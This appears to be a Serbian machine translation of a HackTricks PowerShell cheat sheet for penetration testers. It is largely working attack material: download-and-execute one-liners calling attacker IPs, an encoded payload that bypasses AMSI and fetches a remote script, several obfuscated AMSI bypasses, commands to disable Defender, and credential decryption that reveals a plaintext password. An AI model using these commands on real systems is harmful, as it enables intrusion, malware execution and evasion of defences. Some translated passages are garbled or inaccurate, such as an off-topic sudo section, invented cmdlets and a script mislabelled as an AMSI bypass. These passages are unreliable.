hacktricks/windows-hardening/basic-powershell-for-pentesters
2024-04-06 19:39:21 +00:00
..
powerview.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md GitBook: No commit message 2024-04-06 19:39:21 +00:00

Basic PowerShell for Pentesters

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Podrazumevane lokacije PowerShell-a

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Osnovne PS komande za početak

Ovde su neke osnovne PowerShell (PS) komande koje možete koristiti za početak:

  • Get-Process: Prikazuje sve pokrenute procese na sistemu.
  • Get-Service: Prikazuje sve pokrenute servise na sistemu.
  • Get-EventLog: Prikazuje događaje iz sistemskog loga.
  • Get-WmiObject: Prikazuje informacije o Windows Management Instrumentation (WMI) objektima.
  • Get-ChildItem: Prikazuje sadržaj direktorijuma.
  • Set-Location: Menja trenutni direktorijum.
  • Get-Help: Prikazuje pomoć za određenu komandu.
  • Invoke-Command: Izvršava komandu na udaljenom računaru.
  • New-Item: Kreira novi fajl ili direktorijum.
  • Remove-Item: Briše fajl ili direktorijum.

Ove komande su samo osnovne i postoji mnogo više mogućnosti koje možete istražiti.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Preuzimanje i izvršavanje

U ovom odeljku ćemo se baviti tehnikom preuzimanja i izvršavanja fajlova putem PowerShell-a. Ova tehnika je korisna u situacijama kada želite da preuzmete i pokrenete fajl sa udaljenog servera.

Preuzimanje fajla

Da biste preuzeli fajl sa udaljenog servera, možete koristiti sledeću PowerShell komandu:

Invoke-WebRequest -Uri <URL> -OutFile <putanja_do_fajla>

Zamijenite <URL> sa URL-om fajla koji želite da preuzmete, i <putanja_do_fajla> sa putanjom na kojoj želite da sačuvate preuzeti fajl.

Izvršavanje preuzetog fajla

Nakon što preuzmete fajl, možete ga izvršiti pomoću PowerShell komande Start-Process. Evo kako to možete uraditi:

Start-Process -FilePath <putanja_do_fajla>

Zamijenite <putanja_do_fajla> sa putanjom do preuzetog fajla koji želite da izvršite.

Primer

Evo primera kako možete preuzeti i izvršiti fajl koristeći PowerShell:

Invoke-WebRequest -Uri http://www.example.com/malicious.exe -OutFile C:\Temp\malicious.exe
Start-Process -FilePath C:\Temp\malicious.exe

Ovaj primer preuzima fajl malicious.exe sa http://www.example.com i čuva ga na putanji C:\Temp\malicious.exe. Zatim, koristi se Start-Process komanda da bi se izvršio preuzeti fajl.

Napomena: Ova tehnika može biti zloupotrebljena i koristiti se u zlonamerne svrhe. Uvek budite oprezni prilikom preuzimanja i izvršavanja fajlova sa nepoznatih izvora.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Preuzimanje i izvršavanje u pozadini sa AMSI zaobilaznicom

Ovaj tehniku omogućava preuzimanje i izvršavanje zlonamernog koda u pozadini, zaobilazeći AMSI (Antimalware Scan Interface) zaštitu. Sledeći PowerShell skript demonstrira ovu tehniku:

$URL = "http://www.maliciouswebsite.com/malware.exe"
$Output = "C:\Temp\malware.exe"

# Kreiranje objekta za preuzimanje
$WebClient = New-Object System.Net.WebClient

# Preuzimanje zlonamernog fajla
$WebClient.DownloadFile($URL, $Output)

# Izvršavanje zlonamernog fajla u pozadini
$Process = New-Object System.Diagnostics.Process
$Process.StartInfo.FileName = $Output
$Process.StartInfo.WindowStyle = "Hidden"
$Process.Start()

Ovaj skript prvo kreira objekat WebClient koji se koristi za preuzimanje zlonamernog fajla sa određene URL adrese. Zatim se fajl izvršava u pozadini pomoću objekta Process.

Napomena: Ova tehnika zaobilazi AMSI zaštitu, ali ne garantuje 100% uspeh. AMSI je moćan alat za detekciju malvera i može otkriti neke vrste zlonamernog koda.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Korišćenje b64 sa Linuxa

Ako želite da koristite b64 komandu sa Linux operativnog sistema, možete je koristiti na sledeći način:

echo -n "Tekst za enkodiranje" | base64

Ova komanda će enkodirati tekst koji ste naveli koristeći Base64 enkodiranje. Rezultat će biti prikazan na standardnom izlazu.

Da biste dekodirali Base64 enkodirani tekst, možete koristiti sledeću komandu:

echo -n "Enkodirani tekst" | base64 -d

Ova komanda će dekodirati enkodirani tekst koristeći Base64 dekodiranje i prikazati rezultat na standardnom izlazu.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Preuzimanje

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest je PowerShell cmdlet koji se koristi za slanje HTTP zahteva na web servere i dobijanje odgovora. Ovaj cmdlet se često koristi u pentestiranju za interakciju sa web aplikacijama i izvršavanje različitih akcija kao što su preuzimanje fajlova, slanje podataka na server ili čak izvršavanje napada.

Evo nekoliko primera kako možete koristiti Invoke-WebRequest:

  1. Preuzimanje fajla sa web servera:
Invoke-WebRequest -Uri "http://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
  1. Slanje podataka na server:
Invoke-WebRequest -Uri "http://www.example.com/submit" -Method POST -Body "username=admin&password=pass123"
  1. Izvršavanje GET zahteva i prikazivanje odgovora:
$response = Invoke-WebRequest -Uri "http://www.example.com"
$response.Content
  1. Izvršavanje napada poput SQL injection-a:
$payload = "admin' OR '1'='1'--"
Invoke-WebRequest -Uri "http://www.example.com/login?username=$payload&password=pass123"

Ovaj cmdlet pruža mnoge mogućnosti za interakciju sa web serverima i može biti veoma koristan alat u arsenalu pentestera.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget je besplatan alat za preuzimanje sadržaja sa weba. Može se koristiti za preuzimanje datoteka, rekurzivno preuzimanje celih veb lokacija, kao i za preuzimanje preko HTTP, HTTPS i FTP protokola.

Instalacija

Wget je dostupan za Windows operativni sistem i može se preuzeti sa zvanične veb stranice projekta. Nakon preuzimanja, instalacija se vrši pokretanjem instalacionog fajla i praćenjem uputstava na ekranu.

Korišćenje

Da biste preuzeli datoteku sa weba koristeći Wget, koristite sledeću sintaksu:

wget <URL>

Gde <URL> predstavlja adresu datoteke koju želite da preuzmete.

Primeri

  1. Preuzimanje datoteke file.txt sa weba:
wget http://www.example.com/file.txt
  1. Rekurzivno preuzimanje celog sadržaja veb lokacije:
wget --recursive http://www.example.com
  1. Preuzimanje datoteke preko FTP protokola:
wget ftp://ftp.example.com/file.txt

Napredne opcije

Wget ima mnoge napredne opcije koje vam omogućavaju da prilagodite proces preuzimanja. Za više informacija o ovim opcijama, pogledajte dokumentaciju Wget alata.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer je PowerShell modul koji omogućava prenos datoteka između računara putem Background Intelligent Transfer Service (BITS) protokola. Ovaj modul je veoma koristan za prenos velikih datoteka i omogućava vam da pratite napredak prenosa, pauzirate i nastavite prenos, kao i da upravljate prioritetima prenosa.

Da biste koristili BitsTransfer modul, prvo morate da ga učitate u PowerShell sesiju. To možete uraditi pomoću komande Import-Module BitsTransfer. Nakon toga, možete koristiti različite komande za upravljanje prenosom datoteka.

Komande za BitsTransfer

  • Start-BitsTransfer: Ova komanda se koristi za pokretanje prenosa datoteka. Morate navesti izvor i odredište datoteke, kao i putanju do log fajla koji će pratiti napredak prenosa.
  • Get-BitsTransfer: Ova komanda se koristi za dobijanje informacija o trenutnim prenosima datoteka. Možete videti informacije kao što su napredak prenosa, brzina prenosa i status prenosa.
  • Complete-BitsTransfer: Ova komanda se koristi za završetak prenosa datoteka. Možete je koristiti kada želite da prekinete prenos ili kada je prenos završen.
  • Suspend-BitsTransfer: Ova komanda se koristi za pauziranje prenosa datoteka. Možete je koristiti kada želite da privremeno zaustavite prenos i nastavite ga kasnije.
  • Resume-BitsTransfer: Ova komanda se koristi za nastavak prenosa datoteka koji je bio pauziran. Možete je koristiti kada želite da nastavite prenos nakon pauze.

Primeri korišćenja BitsTransfer

Evo nekoliko primera kako možete koristiti BitsTransfer modul:

  1. Pokretanje prenosa datoteke:
Start-BitsTransfer -Source "C:\putanja\do\izvorne\datoteke" -Destination "C:\putanja\do\odredišne\datoteke" -DisplayName "Prenos datoteke" -Description "Ovo je primer prenosa datoteke"
  1. Pauziranje prenosa datoteke:
Suspend-BitsTransfer -DisplayName "Prenos datoteke"
  1. Nastavak prenosa datoteke:
Resume-BitsTransfer -DisplayName "Prenos datoteke"
  1. Završetak prenosa datoteke:
Complete-BitsTransfer -DisplayName "Prenos datoteke"
  1. Dobijanje informacija o trenutnim prenosima datoteka:
Get-BitsTransfer

BitsTransfer modul je veoma koristan alat za prenos datoteka putem PowerShell-a. Možete ga koristiti za efikasan prenos velikih datoteka i pratiti napredak prenosa.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Base64 Kali

Kali Linux ima ugrađenu funkcionalnost za enkodiranje i dekodiranje Base64. Ovo je korisno kada želite da enkodirate ili dekodirate tekst ili binarne podatke koristeći Base64 algoritam.

Da biste enkodirali tekst u Base64 format, možete koristiti sledeću komandu:

echo -n "Tekst za enkodiranje" | base64

Da biste dekodirali Base64 kodirani tekst, koristite sledeću komandu:

echo -n "Base64 kodirani tekst" | base64 -d

EncodedCommand

PowerShell omogućava izvršavanje skripti koristeći parametar -EncodedCommand. Ovaj parametar omogućava enkodiranje PowerShell skripte u Base64 format, što je korisno kada želite da izvršite skriptu na način koji izbegava detekciju antivirusnih programa.

Da biste enkodirali PowerShell skriptu u Base64 format, možete koristiti sledeći PowerShell kod:

$script = "Write-Host 'Hello, World!'"
$encodedScript = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($script))

Zatim, možete izvršiti enkodiranu skriptu koristeći sledeću komandu:

powershell.exe -EncodedCommand <enkodirana_skripta>

Gde <enkodirana_skripta> predstavlja enkodiranu PowerShell skriptu koju želite da izvršite.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Izvršna politika

Ograničeni jezik

AppLocker politika

Omogući WinRM (udaljeni PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Onemogući Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

AMSI zaobilaženje

amsi.dll se učitava u vaš proces i ima neophodne izvoze za interakciju sa bilo kojom aplikacijom. I zato što se učitava u memorijski prostor procesa koji kontrolišete, možete promeniti njegovo ponašanje tako što ćete prepisati instrukcije u memoriji. Na taj način se onemogućava detekcija.

Stoga, cilj AMSI zaobilaženja je da prepišete instrukcije te DLL datoteke u memoriji kako bi detekcija postala beskorisna.

Veb stranica za generisanje AMSI zaobilaženja: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Bypass 2 - Hookovanje poziva upravljanog API-ja

Pogledajte ovaj post za detaljne informacije i kod. Uvod:

Ova nova tehnika se oslanja na hookovanje poziva API-ja .NET metoda. Ispostavlja se da .NET metode moraju biti kompajlirane u mašinske instrukcije u memoriji koje izgledaju veoma slično nativnim metodama. Ove kompajlirane metode mogu biti hookovane kako bi se promenio tok kontrole programa.

Koraci za izvođenje hookovanja poziva API-ja .NET metoda su:

  1. Identifikacija ciljnog metoda za hookovanje
  2. Definisanje metoda sa istim prototipom funkcije kao ciljni metod
  3. Korišćenje refleksije za pronalaženje metoda
  4. Provera da li su svi metodi kompajlirani
  5. Pronalaženje lokacije svakog metoda u memoriji
  6. Prepisivanje ciljnog metoda sa instrukcijama koje upućuju na naš zlonamerni metod

AMSI Bypass 3 - SeDebug privilegija

Pomoću ovog vodiča i koda možete videti kako, sa dovoljno privilegija za debagovanje procesa, možete pokrenuti powershell.exe proces, debagovati ga, pratiti kada učitava amsi.dll i onemogućiti je.

AMSI Bypass - Dodatni resursi

PS-Istorija

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Pronađi novije datoteke

Opcije: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Dobijanje dozvola

Da biste dobili informacije o dozvolama za određeni fajl ili direktorijum u PowerShell-u, možete koristiti sledeće komande:

Get-Acl

Komanda Get-Acl se koristi za dobijanje ACL (Access Control List) objekta koji sadrži informacije o dozvolama za određeni fajl ili direktorijum.

Get-Acl -Path C:\putanja\fajl

Get-NTFSAccess

Komanda Get-NTFSAccess se koristi za dobijanje detaljnih informacija o dozvolama za određeni fajl ili direktorijum.

Get-NTFSAccess -Path C:\putanja\fajl

Get-EffectiveAccess

Komanda Get-EffectiveAccess se koristi za dobijanje efektivnih dozvola za određeni fajl ili direktorijum, uzimajući u obzir sve nasleđene dozvole.

Get-EffectiveAccess -Path C:\putanja\fajl

Get-ChildItem

Komanda Get-ChildItem se koristi za dobijanje informacija o dozvolama za sve fajlove i direktorijume unutar određenog direktorijuma.

Get-ChildItem -Path C:\putanja\direktorijum | Get-Acl

Get-ACLReport

Komanda Get-ACLReport se koristi za generisanje izveštaja o dozvolama za određeni fajl ili direktorijum.

Get-ACLReport -Path C:\putanja\fajl -OutputFile C:\putanja\izvestaj.html

Napomena: Ove komande zahtevaju odgovarajuće privilegije za pristup fajlovima i direktorijumima.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Verzija operativnog sistema i zakrpe

Da biste saznali verziju operativnog sistema i informacije o instaliranim zakrpama, možete koristiti sledeće PowerShell komande:

# Verzija operativnog sistema
(Get-WmiObject -Class Win32_OperatingSystem).Caption

# Informacije o zakrpama
Get-HotFix

Ova dva komandna reda će vam pružiti informacije o verziji operativnog sistema i sve zakrpe koje su instalirane na sistemu.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Okruženje

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Ostali povezani drajvovi

Kada radite sa PowerShell-om, možete dobiti informacije o svim povezanim drajvovima na sistemu koristeći sledeću komandu:

Get-PSDrive

Ova komanda će prikazati sve povezane drajvove, uključujući i lokalne drajvove, mrežne drajvove i virtualne drajvove.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Korpa za smeće

Recycle Bin (Korpa za smeće) je mesto na Windows operativnom sistemu gde se smeštaju obrisane datoteke i folderi. Ova funkcionalnost omogućava korisnicima da povrate obrisane podatke ako su slučajno izbrisali nešto što im je potrebno.

Kada se datoteka ili folder obriše, oni se premeste u Recycle Bin umesto da se trajno izbrišu sa sistema. Korisnici mogu pristupiti Recycle Binu i povratiti obrisane datoteke ili ih trajno izbrisati.

Da biste pristupili Recycle Binu, jednostavno kliknite desnim tasterom miša na ikonu Recycle Bin na radnoj površini ili u File Exploreru i odaberite opciju "Open" (Otvori). Otvoriće se prozor koji prikazuje sve obrisane datoteke i foldere.

Da biste povratili obrisane datoteke, jednostavno kliknite desnim tasterom miša na datoteku koju želite da povratite i odaberite opciju "Restore" (Povrati). Datoteka će biti vraćena na originalno mesto gde je bila pre brisanja.

Ako želite trajno da izbrišete obrisane datoteke, možete odabrati opciju "Empty Recycle Bin" (Isprazni korpu za smeće). Ova opcija će trajno izbrisati sve datoteke iz Recycle Bina i osloboditi prostor na disku.

Važno je napomenuti da se datoteke u Recycle Binu mogu povratiti samo dok nisu trajno izbrisane. Kada se korpa za smeće isprazni ili kada se datoteke izbrišu iz nje, više nije moguće povratiti te datoteke.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/upravljanje-korpa-za-reciklazu-pomocu-powershell-a/

Prikupljanje informacija o domenu

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Korisnici

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Bezbedan string u čist tekst

Kada radite sa osetljivim podacima u PowerShell skriptama, važno je da zaštitite te podatke od neovlašćenog pristupa. Jedan od načina da to postignete je korišćenjem SecureString objekta za čuvanje osetljivih vrednosti kao što su lozinke.

Međutim, u nekim situacijama može biti potrebno da konvertujete SecureString u čist tekst radi dalje obrade ili prikaza. Evo kako to možete uraditi:

$secureString = Read-Host -AsSecureString
$plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Prvo, koristimo Read-Host -AsSecureString da bismo korisniku omogućili unos osetljivog podatka kao SecureString. Zatim koristimo System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString) da bismo konvertovali SecureString u BSTR (Basic String) format.

Konačno, koristimo [System.Runtime.InteropServices.Marshal]::PtrToStringAuto() da bismo konvertovali BSTR u čist tekst.

Važno je napomenuti da konvertovanje SecureString u čist tekst može predstavljati sigurnosni rizik, jer osetljivi podaci mogu biti izloženi u memoriji. Stoga, budite oprezni prilikom rukovanja osetljivim podacima i koristite ovu tehniku samo kada je to zaista neophodno.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Ili direktno parsiranje iz XML-a:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

SUDO je alat koji omogućava korisnicima da izvršavaju komande sa privilegijama superkorisnika ili drugih korisnika. Ovo je veoma korisno za pentestere jer im omogućava da izvršavaju komande koje zahtevaju privilegije koje inače ne bi imali.

Instalacija SUDO

SUDO je već instaliran na većini Linux distribucija. Ako nije instaliran, možete ga instalirati koristeći sledeću komandu:

sudo apt-get install sudo

Korišćenje SUDO

Da biste koristili SUDO, jednostavno dodajte sudo ispred komande koju želite da izvršite. Na primer:

sudo apt-get update

Ova komanda će izvršiti ažuriranje sistema sa privilegijama superkorisnika.

SUDOers fajl

SUDOers fajl definiše koje korisnike i grupe mogu koristiti SUDO. Ovaj fajl se nalazi u direktorijumu /etc/sudoers i može se uređivati koristeći komandu visudo.

SUDOers konfiguracija

Da biste dodali korisnika ili grupu u SUDOers fajl, otvorite fajl koristeći visudo komandu i dodajte sledeću liniju:

korisnik ALL=(ALL) ALL

Zamenite korisnik sa korisničkim imenom ili grupa sa imenom grupe koju želite da dodate.

SUDOers privilegije

SUDOers fajl takođe omogućava definisanje specifičnih privilegija za korisnike ili grupe. Na primer, možete dozvoliti korisniku da izvršava samo određene komande sa privilegijama superkorisnika. Da biste to uradili, dodajte sledeću liniju u SUDOers fajl:

korisnik ALL=(ALL) /putanja/do/komande

Zamenite korisnik sa korisničkim imenom i /putanja/do/komande sa putanjom do komande koju želite da dozvolite.

SUDOers NOPASSWD opcija

Podrazumevano, SUDO zahteva unos korisničke lozinke pre izvršavanja komande. Međutim, možete omogućiti izvršavanje komandi bez unošenja lozinke dodavanjem NOPASSWD opcije u SUDOers fajl. Na primer:

korisnik ALL=(ALL) NOPASSWD: ALL

Ova linija omogućava korisniku da izvršava sve komande sa privilegijama superkorisnika bez unošenja lozinke.

Zaključak

SUDO je moćan alat koji omogućava izvršavanje komandi sa privilegijama superkorisnika. Korišćenje SUDO može biti veoma korisno za pentestere jer im omogućava pristup komandama koje zahtevaju privilegije koje inače ne bi imali.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Grupe

Grupe su organizovane kolekcije korisnika u operativnom sistemu Windows. One se koriste za upravljanje pravima i privilegijama korisnika. Svaki korisnik može biti član jedne ili više grupa.

Uobičajene grupe

Uobičajene grupe su unapred definisane grupe koje dolaze sa Windows operativnim sistemom. Neke od ovih grupa su:

  • Administratori: Grupa koja ima najviše privilegije u sistemu. Članovi ove grupe mogu izvršavati sve administrativne zadatke.
  • Korisnici: Grupa koja ima osnovne privilegije za rad na sistemu.
